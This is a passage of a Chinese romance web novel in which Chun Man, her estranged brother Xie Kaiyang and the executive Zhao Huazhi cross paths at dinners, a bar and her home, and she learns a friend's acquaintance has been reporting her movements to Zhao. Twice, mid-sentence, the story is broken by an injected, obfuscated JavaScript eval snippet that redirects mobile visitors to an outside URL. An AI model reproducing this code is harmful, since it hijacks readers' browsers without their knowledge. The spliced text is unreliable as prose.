赵华致盯着她,眼神探究:“为什么要替他解释?” 春满被问得噎声,一直不知道说什么。这时,谢开阳站在厨房门口,问:“赵总洗完了碗,还不打算回家吗?” 赵华致视线从春满的肩膀越过,微微笑道:“谢总不是也没走吗?” 春满:“……” 春满觉得这可能就是他们之间独特的社交气场,实在找不到合适的理由让其中一个先走,最后一视同仁,以自己要休息为由送客。 两人一起站在电梯间,谢开阳手里还拎着从家里带出来的垃圾,赵华致淡淡地看了一眼,抬手按了电梯下行键。 很快,电梯到达,赵华致没动,只道:“你先下,我住楼上。” 谢开阳看他一眼,上次在医院见到两人在一起,有心让人查了他们的关系,着实有些好奇:“你是认真的吗?” 人吃饱了容易犯食困。赵华致只想快些把谢开阳送走,闻言,淡淡地睨回去:“难道你是玩玩?” 谢开阳没回答,只是轻呵了声,在电梯门自动合住前,跨进去,转身,面对赵华致按关门键时,突然想起来,问:“你们认识多久了?” “有七年了。”今晚赵华致跟谢开阳杠上了似的,处处不服输,上扬的尾音颇有一种以此为傲的意思。 谢开阳表现得风轻云淡,说出来的话却专挑他的痛处:“是吗?那怎么还被房嘉恺抢先了。” 似有若无的嘲讽,在电梯门彻底合住那一刻,把赵华致吹得凌乱。 赵华致回到家中时,虎皮第一时间蹿出来,许是嗅到了他身上其他猫的气息,吃醋似的喵喵喵叫个不停。 赵华致先去洗了手,才顺它的毛,拉开抽屉拿猫条时,另一只猫也凑过来。 猫墙对着的是家里的展示柜,里面放了一张“观鸟惊心”摄影展的门票、所有刊登过春满摄影作品的杂志,以及那本不被主人承认的随行本。 赵华致拿起手机,拍了段两只猫头挨着头吃猫条的小视频,发给春满。 等待回复时,他在输入框里缓慢地编辑道:“你大学时是故意躲着我吗?” 两秒后,删掉, - 春满的手机亮起,通知栏里提示有新消息。 她低头看了眼,却没有动。 从赵华致和谢开阳离开起,春满便坐在沙发上开始放空,橘皮在她身边跑上窜下,她敷衍地用手摸了几下,逐渐变得无动于衷。 那年的暴雨夜,谢开阳跟着谢揾离开的场景,挤掉兄妹间所有的温暖回忆,占据了她每一次想到谢开阳的时间,操控着她身体里那种叫作“恨”或者“怨”的情绪。 随着年龄增长,她在越来越熟练的自洽中,尝试着重新审视自己和谢开阳的关系。 那她是否也可以重新定义自己和赵华致的关系 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14539509|154274||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呢? 大一暑假救赵华致时没想太多,事后得知赵华致在找自己时,春满开始留意他,很快发现,他家的社会地位比谢家的更高。 两人的关系渐渐变成一个死局,对赵华致越了解,春满越不敢接近。 以至于得知赵华致捡到自己丢失的随行本时,本能的害怕,甚至是厌恶与他产生关系。 即便那本笔记中的内容对她很重要。 如今和赵华致不断地产生关联,并非春满有意,但她似乎变得不再反感。 唯一尴尬的便是,她迫于学生时代撒的谎,只能尽职地扮演着既定戏份。 要一直如此别扭而拙劣地出演吗? 还是说有机会能够把矛盾说清楚? 等等。 春满在百思不得其解时,想到另一个问题。她如此耿耿于怀,或许那段经历于赵华致而言不过浮尘。 她为什么要说清呢,任由时间遗忘掉,不好吗? 手机又一震,是谢开阳发来的消息:“赵华致为人不错,可以放心相处。” - 天谢和赫京在业内存在竞争关系,而谢开阳和赵华致是常被放在一起比较的死对头。 谢开阳能公道地说句不错,想来赵华致人品是真的没得挑。 经历过满郁这次的事,春满切切实实认可这个评价。 赫京没有选择最直接也最简单的方式,结束和满郁的合作。那天会议后,赫京公关部在满郁身上做的一系列公关都起到显著的作用,把那个油腻蛮横的富婆形象扭转成思想前卫的独立大女主人设,捕风捉影的前夫传闻佐证着她美强惨的来时路。 最初在网上搅动风浪的小青梨,不知是遭到施压还是忌惮被舆论反噬,素颜出镜发布道歉视频。 有网民被激起逆反心理依旧发布着怀疑的言论,有好事者搅混水试图煽动更恶劣的评断角度,都被满郁逆风翻盘的口碑碾压,变得不值一提。 于此同时,动物园内的珍稀动物司法保护馆应用了赫京提供的VR设备,章啸行出院后第一件事便是来验收成果,一番体验下来,无不满意。 确定开业时间那天,章啸行特意叮嘱春满尽快邀请赵华致。 春满才意识到,自己有一阵没见过他。 - 赵华致这段时间确实忙,不仅奔波在几个国内城市出差,还出了趟国。 刚一回国,赵华致又马不停蹄地见一位就职于天谢的高管。 那名高管跟谢开阳是学生时代的情谊,在天谢发展前景虽受约束,但胜在一切稳定。 对他而言,跳槽是很冒险的一件事。双方磨了一段时间,他才愿意见面聊。 原本人事去谈便足够,但赵华致斟酌一番,觉得自己去更有把握。 见面的地点在央大附近,一家开了近十年的面馆内。 赵华致同为央大学生,自然知道这里,坐下后,诧异地打量着店里翻新过但仍保留着一些旧貌的环境,感慨道:“这家面馆竟然还开着。” 杨凯旋擦了擦被面汤热气熏起雾的眼镜,戴回去,说起:“我大学时,常跟谢总来这家店吃饭。” 赵华致没急着聊正事,顺着这个话题道:“谢开阳?如果我没记错,你上大学时,他已经毕业离校了吧。” “是啊。不过他毕业后还是常回学校,我起初以为他只是喜欢吃这家的面,后来才知道,是他喜欢的女孩喜欢吃这家店。”杨凯旋趁热就吃了两筷子面,起哄朋友私人感情的语气,“我远远地见过,那女生挺漂亮的,跟我同级,我记得应该是生态学院的。” 同级?生态学院?赵华致第一时间想到春满, 往事的话匣子一提起,便轻易关不上,男人在对岁月的感慨中,又记起一件事:“那天好像是那女孩的生日还是什么,是个冬天,外面雪挺大的,那女孩来店里时,谢总特意借用后厨亲自煮了碗面让服务员端给她。想象不到吧,咱们谢总还是个痴情种,而且很长情。” 一碗面吃完,杨凯旋从回忆中出来,主动提起跳槽的事。 他虽然割舍不掉和老友的交情,但基于个人发展的考量,在确认赵华致能给自己开放的管理权限十分有诚意后,痛快地接受了赫京的聘用。 赵华致送走杨凯旋,在店里又坐了会儿,等店员打包一份面。 外面骄阳高照,长街依旧是老样子。不断有学生进出这家面馆,有朋友、有恋人,意气风发,谈笑风生。 赵华致看着这一张张年轻的面孔,试图猜测春满来店里吃面时习惯坐哪个位置,又会点哪一种口味的面。 依照他对春满有限的了解,并不可能猜得准。 但唯一能确定的是,春满的生日在冬天。 原来谢开阳也早认识春满了。 19.第 19 章 19 随着夜幕降临,酒吧内的气氛才有鼎沸之势。 春满一下班便被朋友们拽走,吃了晚饭和蛋糕,便转场来了这里。 今天的寿星Hazel花蝴蝶似的,已经不知道跑哪里社交去了,姜早早正在逗吧台内那位很容易脸红的年轻调酒师。 而薛引章冷静严肃惯了,没有玩乐的心思,挨着春满有一搭没一搭地闲聊:“你之前问我会不会觉得你和赵华致走得太近了。经过这次的事,我重新想了想这个问题,觉得亲疏远近不是关键所在。你有没有察觉到,他对你的态度不一般?” 春满酒量勉勉强强,且没有酗酒的习惯,手里一杯度数不高的果酒,慢慢悠悠喝了好久。 这样的环境实在不是一个聊严肃话题的场合,所以春满的反应略微迟钝,慢半拍才追问:“你指什么?” “我调查过赵华致接管公司后的一系列举措,哪怕几年前刚接手集团事务时,他也从不会做多余的事。冷静果断,是他最基本的特质。但在处理这次的舆论问题时,他很多安排明显多此一举,甚至亲力亲为。你想一想,这次的舆论对于阿姨来说很致命,但对于赫京而言,是什么重大危机吗?” 答案显而易见,不是的。 春满试图自圆其说:“难道不是因为他本身是个仁义的人吗?” “商人可以讲义气。但用仁慈形容资本家,肯定是不准确的。每一位高位者都不可能没有手腕和野心,因为这不光是为了自己,还关乎职位之下的无数打工人的效益。” 春满情绪紧绷,握着酒杯,猛灌了一口酒,若有所思状。 薛引章言简意赅地下结论,“因为有你,所以阿姨这次的事才会受到这般同仇敌忾的重视。” 春满沉默半晌,朝调酒师又要了杯酒,一口气喝了大半杯,换了种方式理解薛引章的话:“你不会是想说赵华致喜欢我吧?” 姜早早挂着愉悦的笑回来,清楚地听出春满这句话中的嘲弄和难以置信。 姜早早视线在薛引章和春满身上打转,渐渐想起自己一直没找到契机跟春满提的那件事。 极具氛围感的灯光,振奋人心的电子音乐,鼓舞着每一颗躁动的心。 姜早早急着去洗手间清理被人不小心泼到衣服上的酒渍,整理完趁机做了番心理建设。 回来时薛引章已经不知道去哪里了,姜早早挨着春满坐下,清了清嗓子,终于提起:“慢慢,我有件事要跟你说。” 几分钟不见,春满已经喝光了两杯酒。她趴在桌上微扬起脸,眼神疑问地等姜早早说下去,五颜六色的灯光在空气中流动,衬得春满含笑的眼底澄澈纯净。 “很重要的事吗?”春满渐渐坐直。 这时不远处突然传来一阵欢快的起哄声,春满不甚在意地扫了眼。 下一秒,春满视线越过姜早早的肩膀,重新朝那个方向看去。 平和安静的脸上神情变得很淡,这是一种近乎冷漠的情绪。 春满说:“如果你指的是这件事,那我看到了。” 姜早早茫然,回头望去。那边的卡座有一群年轻人在聚会,不知是玩游戏还是喝上头,其中有个男人背起一个女孩绕着场地跑了一圈,女生估计是觉得丢脸,用手捂着半张脸,却有笑从嘴角露出来。 姜早早起初没认出这女生是谁,扫了眼跟一头小牛犊子似的闷头往前跑的房嘉恺,适才回过味来,这女生不是沈栀意还能是谁。 她气愤地翻了个白眼,才收回视线,欲言又止地观察着春满。 此情此景,在春满心情糟糕的时候提自己的过错,显然不是一个好时机,所以她没否认春满方才的误会,顺着她的话说:“对……我去叫Hezal换个地方。附近这么多家酒吧,总有一家没有碍眼的人。” “就在这吧。”春满懒得动,神情冷淡地招呼服务生点酒。 春满接下来没说一句话,面前空的酒杯却越来越多。 她越喝越冷静,越喝越清醒。 想不通的问题,被巨浪冲到脑后,困扰她的愁绪,被酒精泡成银河。 春满心口堵着一口气,喝到最后已经不知道自己在为什么挣扎。 - 彼时,房嘉恺、沈栀意和几个朋友玩闹得起劲,并不知道这里发生了什么。 但二楼栏杆处,这家酒吧的老板江鎏不经意在人群中发现了姜早早和春满。 确认自己没看错后,江鎏拿起手机,把这条消息高价卖给了赵华致:“我就说这家店的风水好,你还不信。” - 眼看春满面前的空酒杯越来越多,姜早早目瞪口呆,第一时间举起手机拍了张“事故现场”的照片,方便明天拿给春满看。 “慢慢,你不能喝了。”姜早早见她没有停止的兆头,适时制止,费了些功夫才把她拽起来,“我要投诉这家酒吧,空气有毒吧,充满了让人倒霉的衰气。” 真算起来,这是春满分手后第一次发泄。 姜早早觉得总该经历这么一遭,只是看着春满这个样子,控制不住的心疼。 男人都他妈是混蛋!王八蛋! 一时找不到薛引章和Hazel,姜早早先带春满离开酒吧。 盛夏时节燥热的空气吹来,春满像不倒翁似的,小幅度地来回晃荡着。 憋了那么久的情绪,折磨,难熬,崩溃,被汗蒸发酵,愈发难受。 “你老实站在这里,我先叫个代驾。”姜早早腾出一只手来操作手机。 春满胡乱挥舞胳膊,眼看她重心不稳要栽倒,姜早早惊呼一声恨不得把手机扔掉去拉她。 下一秒,有人突然出现在春满另一侧,抬手捞住了她的手臂,把人稳住。 “谢谢……”姜早早惊魂甫定,看到来人愣了下,“谢总?” 姜早早大学和春满认识,是她身边为数不多知道她和谢开阳关系的人。 “她怎么喝这么多?”谢开阳在附近见朋友,隔了条街遥遥地看到春满才过来,此刻盯着一改平日温和形象的春满,微微蹙眉。 姜早早很有分寸地回答:“这家店新开的,酒水单比较有趣,所以多喝了几杯。” 谢开阳一心在春满身上,没吭声,也不知信还是没信。 春满嘟囔了一句“想吐”,甩着胳膊挣开谢开阳,要往路边垃圾桶去。 谢开阳没听清她说什么,以为只是单纯地闹酒疯,并未松开钳制她的力道。 春满精神上的反抗情绪盖过了身体的不舒服,如同这些年跟谢开阳较劲一般的气性,她执拗地挣着。 “松开,你这样会弄伤她。”赵华致不知何时出现在这里,一手护着春满免得她突然失去牵引力摔倒,另只手紧紧地抓着谢开阳的小臂。 谢开阳视线从他的手,慢慢移到他脸上,眼底的茫然变成疑问:“你以什么身份要求我?” 姜早早见两人似乎存在什么误会,刚想解释,有人把手伸到自己的眼前打了个响指。她偏头看到江鎏,没什么好气地说了句:“你怎么也在这?有事?” “让他们自己解决,我顺路送你回家。”根本不给姜早早反对的机会,江鎏已经把人拽离了主战场。 被拖出去好一段,姜早早才卯着一股“我不能把春满一个人丢下”的劲儿,甩开江鎏。 “有赵华致在,你闺蜜不会有事的。”江鎏拦下她。 姜早早自然知道春满不会有事,谢开阳在那呢。她稍稍平复些,瞪了江鎏一眼:“她有没有事,我都不用你送。让开。” 江鎏不动如山:“我是这家酒吧的老板,有责任对我的客人负责。” 姜早早丢给他一个“你是不是脑子有病”的眼神,头也没回地去看春满的情况。 她没走近,遥遥地关注着那边三个人的状态。 赵华致身上气味干干净净,半分酒气没沾。 “松开。”赵华致沉声,又说了一遍。 估计他话里的怒气值太高,春满被吓到,一瞬间好像清醒了,抬眸盯着赵华致。 谢开阳只是轻笑一声,松了手,做了个请便的手势,对赵华致说:“你自己问她要跟谁走。” 要不说人的气场会赋予语言难以估量的威力呢,有那么一瞬间,赵华致真的有被这句话唬住。 赵华致定了定神,注意力回到春满身上:“能自己走吗?我送你回家。” 春满弯了弯唇,很好看地笑了下:“学长,谢谢你啊。没事的,谢开阳不会欺负我的,一向都是我任性,我不懂事,我太笨了,我欺负他。” 赵华致越听心越痛,因为没立场阻拦,缓慢地放下了想要扶她的手,喃喃道:“我又来晚了,是吗?” 春满没听到他说什么,借着酒劲开口:“我告诉你一个秘密哦,当作耽误你时间的补偿。” 春满眨着眼睛,眼底亮亮的:“他是我哥哥哦。厉不厉害。” 说着说着她眼皮一皱,有眼泪滚出来。赵华致微怔,伸出手,不知是要擦眼泪,还是接眼泪。 春满毫无征兆地蹲到地上,他的手仍悬在半空,迟迟没有放下。 这个秘密好沉重啊。 她谁也不敢说。 春满望天:“今天也没下雨啊。我怎么还这么难受。” 赵华致显然没从这一反转中回过神,谢开阳重新把春满拉回到自己身边,听上去很有礼貌地和赵华致确认:“现在我可以带她走了吗?” 酒吧门口,房嘉恺出来接了通电话,不经意地扫向这边,渐渐眯起眼注意力集中些,往前跌了半步,想要追上去:“慢慢……” 春满矮身钻进谢开阳的车,头都没偏,并没看到他。 - 一小时后,春满家门外,从谢开阳把春满送进门后,赵华致便一直站在这里。 赫京和天谢斗了这么多年,大概没有哪一次赵华致输得如此彻底。 赵华致想到前几次因春满和谢开阳产生的交锋,当时有多得意和风光,此刻便多落魄。 耳畔传来开门的声音,谢开阳从屋里出来,瞧见他还等在这里,意外地抬了下眼。 赵华致气势上弱了几分:“她……” “已经睡下了。”谢开阳走过场般交代了句,把自己叠起的衬衣袖口放开,然后缓慢地扣好纽扣,轻笑出声:“杨凯旋的确是个人才,你很有眼光。” 赵华致:“……” - 翌日,春满酒醒,坐在床上按着太阳穴缓了会儿,试图回忆昨晚的事。 完全断片了。 她看到床头柜上用杯子压着的字条,“把蜂蜜水喝了,头疼不要吃药,食物吃清淡。”,落款是“哥”,才依稀记起昨晚是谢开阳送自己回来的。 蜂蜜水已经被她夜里意识不清时喝光了。 姜早早得睡到中午才能醒,薛引章和Hazel连她什么时候被姜早早带出酒吧的都不清楚。 春满揣着一脑袋问号,起床洗漱、吃早餐。 忙完见时间还早,索性提早半小时出门,去单位找点事做。 刚到动物园停下车,春满收到赵华致发来的消息:“今天头难受吗?” 春满被问得一脸茫然,还以为他发错了人,正要回复句时,车窗玻璃被人从外面敲响,赵昭儿扬着笑脸热情地叫她。 春满当即收起手机,开门下车:“今天怎么来得这么早?” “谢宴迟骗我说园里的夜景好看,我昨晚在园里睡的,刚准备回家。”赵昭儿仓促地解释完,问她,“先不说这个。小满姐,你车上有猫条吗?我刚看到只流浪猫四肢流着血好像受伤了,我准备抓来看看,结果它蹿进灌木丛里找不到了。” 一听这事,春满别说回消息了,连上班打卡都不记得了,多拿了几根猫条跟她一起找猫。 找了得有一刻钟,两人终于看到那只小可怜。 何止是四肢受伤……它的四个爪子都被人剪断了,血肉模糊。 饶是春满经验老到,见到这般,仍十分难受。 赵昭儿脱了身上的罩衫包着猫抱起来,低垂着头,心疼得红了眼眶:“人怎么可以这么坏啊。” 春满想安慰几句,但某一瞬间,她从这个角度盯着赵昭儿,突然记起自己为何会觉得她眼熟。 春满没急着确认,先让赵昭儿上车,把猫送去宠物医院救治。 等待结果时,赵昭儿坐在墙角的椅子上,吸了吸鼻子,爱美地从包里翻出粉饼补妆,稍作整理后强颜欢笑地提了提嘴角。 春满问题不过夜,当即问道:“赵赵,我们之前是不是见过?” 赵昭儿眼睛一亮,望过来,很有效地被转移情绪,雀跃道:“小满姐,你终于记起我了?我还以为你把我忘了呢,我那时候比现在要胖点,脸有些婴儿肥。我跟你说,我哥把那两只猫养的可好了,你有见过吗?” 赵昭儿是赵华致的妹妹,且早就认出自己了。 春满没办法迅速消化这个信息,她一没有被戏耍,二没有被利用,可总觉得有哪里怪怪的。 “我记得当时你说哥哥有抑郁症?” 赵昭儿用手指卷着发梢,心虚地笑笑:“我哥哥没有抑郁症啦,他身体好着呢,连感冒都很少有。我那么说是为了提高收养成功的几率,小满姐,你不会生气吧。” 春满有想过这种可能,如今结果是好的,出发点的小瑕疵便显得无足轻重,只不过她更好奇的是:“为什么一定要收养成功?” “因为哥哥很喜欢你………”赵昭儿眨着亮晶晶的眼睛望着春满,兄妹俩眉眼很像,但赵华致很少笑。赵昭儿眉梢微翘,故意让人误会似的拖了会儿长音,才话锋一转,“的猫。” 春满没有笑,安安静静地接受小姑娘的恶作剧,半晌才动了动嘴角,说:“挺有缘的。” “是吧。我就觉得跟你特别投缘。”赵昭儿早把方才对流浪猫的心疼和沮丧丢到九霄云外,像时刻记着程序中的最高指令一般,稳健地为实现终极目标而努力,亲昵地挽住春满的手臂,说,“小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14558200|154274||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 满姐,下个月1号是我的生日,你有没有时间来参加我的生日会啊。” 春满觉得自己整个人都是乱的,完全跟不上赵昭儿跳脱的思路。 姜早早今天比春满以为的要醒得早,给春满发消息解释了昨晚的事,并说:“当时赵华致差点和谢开阳打起来,幸好你及时说谢开阳是你哥哥。我怀疑赵华致是不是把你哥当成情敌了?” 春满觉得自己乱得更厉害了。 姜早早大多时候职业病作祟,脑回路更适用于一二次元的纸片人,但认真起来,十分清醒靠谱,是个合格的倾诉对象。 春满隔着落地窗看了眼宠物医院内看手机的赵昭儿,决定给姜早早打个电话。 电话拨通后,听着那头吵嚷嘈杂的背景音,春满才记起今明两天姜早早工作室搬家,正是忙的时候。 难怪她起得这么早。 春满没提自己的私事,改口问她要地址,说下班后过去帮忙。 挂断电话后,春满在宠物医院陪赵昭儿待了会儿,才回动物园。 她心里记挂着流浪猫的情况,琢磨着赵华致的态度,一整天都心不在焉的。 看手机时注意到赵华致那条没来得及回复的消息,春满想了想,决定继续装作已经用意念回复了。 下午工作上没什么事,春满索性提前下了班。 谁知,她的车子刚拐出动物园前门广场的主干道,赵华致的车子从另一个方向拐进来。 - 姜早早工作室规模不大,但在业内可见一斑,门口摆着两排非常气派的花篮。 春满停好车,步行经过时,遥遥地看见有人送的竟然是红玫瑰,打趣道:“追求者吗?” “一个骗子。”姜早早表情愤愤,咬牙切齿道。 和朋友在一起,春满状态轻松了些,这时还没意识到事情的严重性,完全偏了重点:“这排场,我被求婚时都没有这么多花。” 姜早早看了春满一眼,说:“这些都是江鎏送的。我也是最近才知道,那个天天开黑打游戏的网友是他。” 春满眨眼:“这世界也太小了,挺有缘的。” 见姜早早欲言又止,春满不由得正色,狐疑地看着她,以为是这人有什么自己不知道的黑历史。 她接触下来发现,江鎏的异性缘的确挺好的,只是不知道私下里是不是玩咖。 如果姜早早不喜欢,别人再激烈浪漫的攻势都只会是骚扰。 “不是你以为的那样。”姜早早一不做二不休,一咬牙,一跺脚,索性说了,“慢慢,我必须跟你道个歉。就是江鎏他在我不知情的时候,通过套我的话,掌握你的动向,然后告诉给赵华致。” 春满有些不懂,整件事怎么突然牵扯到自己。 姜早早作为文字工作者,逻辑能力很强,但这段时间被这件事烦得心急火燎,话说得有些颠三倒四:“我虽然爱聊些八卦,但自己朋友的私事肯定不会大嘴巴地四处胡咧咧。我只是习惯把你挂在嘴边,有时候是拒绝他一起开黑,说闺蜜失恋心情不好,要去陪你,再有他找我聊天或者连线看电影时,他也会无意提起你,调侃我不用去陪闺蜜了吗?我顺嘴提一句你在哪、在做什么。” “我没指名没道姓的,谁知这么巧,江鎏就能知道我说的是你。我简直要怀疑江鎏一开始故意和我在游戏里撞车,就是为了套我的话。”姜早早眉头紧锁,她这段时间对江鎏的态度足够证明她对这件事的厌恶程度,“那天在医院,赵华致出现得太及时,让我觉得很多事都太巧了,才怀疑到江鎏身上。我故意骗江鎏说你想吃梅花糕,没过一会儿,赵华致便提着梅花糕出现,我才确定他一直利用我。慢慢,对不起啊。” 听姜早早说完,春满仿佛失去说话的能力,一同沉默着。 这番话配合心里的疑虑,春满再梳理近段时间发生的事,一切突然有了解释。 “哦对,你说找我有事,什么事?我现在迫切地需要一个机会向你弥补自己的疏忽。”姜早早双手在胸前合住,虔诚状。 春满嘴角动了动,最终说:“现在没事了。” 姜早早被员工叫走,春满独自站了会儿,才拿出震动了有一会儿的手机。 说曹操曹操到。是赵华致的来电。 春满感觉自己的手臂被震得发麻失去知觉,好半晌才接通。 “今天提前下班了?”赵华致声音如常,在电话那头响起。 春满嗯了声,才意识到自己嗓子发堵。她清了清嗓子,重新回答:“早早有事,我过来帮忙。” 赵华致:“这样啊。我原本打算接你一起吃晚饭,结果扑了空。” 春满听明白话里的隐晦,问:“你去动物园了?不好意思,害你白跑一趟。” “没事,你不在,我正好接赵赵。” 这是赵华致第一次在春满面前明说赵昭儿就是他妹妹,看来他已经知道春满认出赵昭儿的事。先是江鎏,后有赵昭儿,赵华致到底在她身边安排了多少熟人。 被点到名的赵昭儿扬声喊了句“小满姐,你不用跟我哥客气,让他接送你上下班他都乐意!”,春满听见,却没应。 赵华致可能是注意到了春满的沉默,冲赵昭儿警告了句“别捣乱”,继续对春满说:“今天工作忙吗?” “还行。”春满言简意赅地搪塞道。 赵华致:“那怎么没回我消息?” 春满一时编不出更高级的理由,只道:“我忘记了。” 赵华致通情达理地接受了这个原因,问:“有头疼吗?” “没有。”春满觉得在知道赵华致的心思后,自己不知道该怎么和他相处了,连日常交流都没办法心无旁骛的维持。 赵华致倒是一如既往地坦然:“以后别那么喝酒了,伤身体。” 春满回答的字越来越少,只轻轻地嗯了声。 好在赵华致没继续为难她,最后说了句“你去忙吧,记得吃晚饭”便挂断了电话。 耳畔清净那一刻,春满重获自由,松了口气。 - 驶离动物园的车上,赵昭儿边捧着手机回复宠物医院的医生,边听自家哥哥跟未来嫂子煲电话粥。 等赵华致挂断电话,赵昭儿提起:“哥,司保馆剪彩那天,你记得给嫂子带束花。别像今天似的,来接她吃饭竟然空着手来,太不重视了。” “什么时候开业?”赵华致随口问。 “你不知道?”赵昭儿如今成了动物园的编外人员,有趋势挤掉那只高人气小熊猫成为团宠。但凡有点风吹草动,赵昭儿一准能第一时间拿到消息。 “剪彩的日子早就定了啊,赫京作为司保馆最大也是唯一的赞助方,你竟然没收到消息?” 大学生脑子活泛,很快找到原因。赵昭儿说:“嫂子估计是想亲自告诉你,顺便请你吃个饭或者见个面。你记得到时把自己收拾得利利索索的啊。” 赵华致回忆方才电话中春满反常的态度,丝毫没有看出她有想私下跟自己说的意图。 20.第 20 章 20 虽然动物园在暑假期间激增的游客量,对救护中心的工作影响较小,但春满依旧没能闲下来。 和房嘉恺在一起后的头两年,她工作重心不在本地。异地恋过程中,房嘉恺非但没有抱怨,反而对她百般包容,就连满郁有次动手术,都是房嘉恺跑前跑后地照顾。这让春满逐渐对他生出愧疚,适逢章啸行需要帮手打理动物园,她便借机回到本地工作。 这两年来,为了多一些和房嘉恺维系感情的时间,春满更是放弃了很多出差的安排。 如今分了手,恢复单身,春满得以更自由地支配时间,逐渐转移自己的工作重心。 好在动物园一切步入正轨,章啸行对她的决定给予了理解和支持。 “今年纪念礼盒的打样,你看看有什么地方还需要改动。”章啸行刚动完手术,一周来两三趟,只处理些简单的工作,巡山时顺路提了个盒子给春满送来。 不大的盒子里装着手账本、充电宝、玩偶几样小东西,都挺实用的。春满拿在手里反复看了看,挑不出毛病:“挺不错的,我觉得没什么要改的。” “行,那我就安排工厂量产。今年佟总那份还是你亲自送?如果邮寄的话记得让人统计地址。”纪念礼盒不对外售卖,是送给动物园近一年的合作方的,每年都是如此。 “邮寄吧。”春满说。 章啸行无所谓她怎么选择,要走时想到什么,问:“对了,开业那天,赵总来吗?” 春满抿唇,照实回答:“我还没有问。” “发条消息的事,你也能拖这么久。”章啸行面露诧异,道,“虽说时间还充裕,但赵总这种大忙人,行程都得提前约。” 春满应了声“好”,等章啸行离开,拿出手机解锁,几秒后,重新锁屏,还是没能联系赵华致。 “要是觉得电话邀约没诚意,正好趁着送礼盒的机会亲自跑一趟,这几天抓紧落实。”章啸行转了一圈,又悄默声地晃回来,背着手突然出声,吓得春满差点把手机扔了。 “知道了。”春满无奈应。 工厂量产效率高,隔天簇新的礼盒便放在春满办公桌上。 春满下班时放到车里,一路上都在琢磨到底给还是不给,又该怎么给。 春满约了以前一起工作的朋友吃晚饭,到餐厅时,她仍没想出答案,索性放弃,开门下车。 服务生核对了预约信息后,引着她往包间走。 经过十几人的大包间时,碰到有客人出来,春满下意识往旁边让路,被叫到名字才意识到是熟人。 “慢慢。” 房嘉恺面露喜色,他性格很好,很少有跟人急眼的时候,在一起时,春满无形中会被这种温暖的力量感染,可如今再看到,春满只会记得那个台风过后的清晨,他欺骗自己时,也是类似的笑容。 “一直想给你打电话,又怕你还在生我的气。那天看你在酒吧喝多了,我挺担心的。” 春满适才记起,那天房嘉恺也在酒吧的事,竟不知道他看见自己了。 “Hazel生日,玩得开心,所以多喝了些。”春满谎话信手拈来,不给房嘉恺任何可以借题发挥的角度。 正说着,他身后的包间门再次打开,春满本能地扫了眼,是沈栀意。春满再往包间里看,发现不是家庭聚餐,是星恒的同事们。 她这个角度刚好能看到主位上的人,赵华致也在。 出来的沈栀意见房嘉恺堵在门口,刚要吐槽,抬眸注意到春满,又不自然地避开,只说了句:“你留在这里,我去取蛋糕吧。” 房嘉恺淡淡地嗯了声,继续看向春满,说:“新项目落成,大家在这里开庆功会。都是你认识的同事,要进来打个招呼吗?” 包间门一开一合,春满有时间看清里面的情况,里面的人也有发现她的。其中有跟春满熟悉的女主管,已经起身要过来打招呼。 春天的时候春满以家属身份参与星恒的团建活动,和好几位聊得来的互加微信。这位女主管的孩子格外喜欢小动物,春满和她因为认养动物的事宜联系过几次,春满帮过一些力所能及的小忙,对方出于感谢给她带了不少老家的特产。 包间里还有好几位都是类似的情况,包括但不限于支持动物园的认养活动、给公益野保组织捐钱等等。 春满虽不是直接受益方,但关系在一次次接触后越叠越亲密。 春满虽不是社牛,但极其不喜欢驳人的面子,不方便摆架子站在走廊等人出来跟自己打招呼,便在房嘉恺的邀请下,抬步进了包间。 成年人不管熟不熟,有多熟,场面话说起来永远是那几句。春满得心应手地互动时,不免注意到朝自己看来的赵华致。 他并没有插话进来,表现得跟春满完全不熟悉,春满无暇猜测他在想什么。 在房嘉恺让服务生再搬把椅子、加一套餐具时,春满维持平静的体面,及时制止,说明:“不用。朋友还在等,我得过去了。” 春满跟几个相熟的同事作别,自始至终没有跟赵华致产生眼神对视和言语交流。 退出包间时,春满才真正看清赵华致那道不知是不是一直落在自己身上的目光。 这种被审视的感觉,让她再次置身于春天星恒团建时。 那一天,春满经常能留意到赵华致在观察自己。 但他表现得太过自然,春满始终没联系到自己身上。 房嘉恺在团建结束后告诉她,赵华致履历如何辉煌,手腕城府都不缺,凡是他看中的,很难有失手。 春满一直觉得像赵华致这种阶层的人,不该和自己产生交集。 但事实上,她看走眼了。 心里记挂着赵华致那眼神,春满整顿晚饭都吃得魂不守舍,好在朋友粗神经大大咧咧的,并没有在意和怪罪。 - 接下来几天,春满一直躲着赵华致。 直到七夕节这天,春满陪同满郁去赫京大厦做直播,两人才真正见了一面。 经过这段时间的公关,满郁的口碑已经彻底翻转,并且有了更高的关注,直播间预约人数创下新高。 春满担心团队手忙脚乱有疏忽,跟着一起去帮忙。 “你跟赵总不是挺熟吗,替妈妈去问问他什么时间方便,我们一起吃个饭。”满郁听说赵华致从不参加工作以外的聚会,便让春满以私人的名义提。 “有必要吗?”春满拧着眉,下意识是拒绝。她知道自己提,赵华致一定会答应,或许还是推掉什么正经工作来吃这顿饭。 一想到这种可能,春满便觉得自己被压得喘不过气来。 “他帮了你妈这么大忙,这顿饭我们是要请的。”满郁不明所以地对春满强调。 春满敷衍地应下:“好吧,我去问问,你别抱希望。” 开播时间在即,满郁没来得及跟进春满的进度,便去跟团队对今晚的流程。 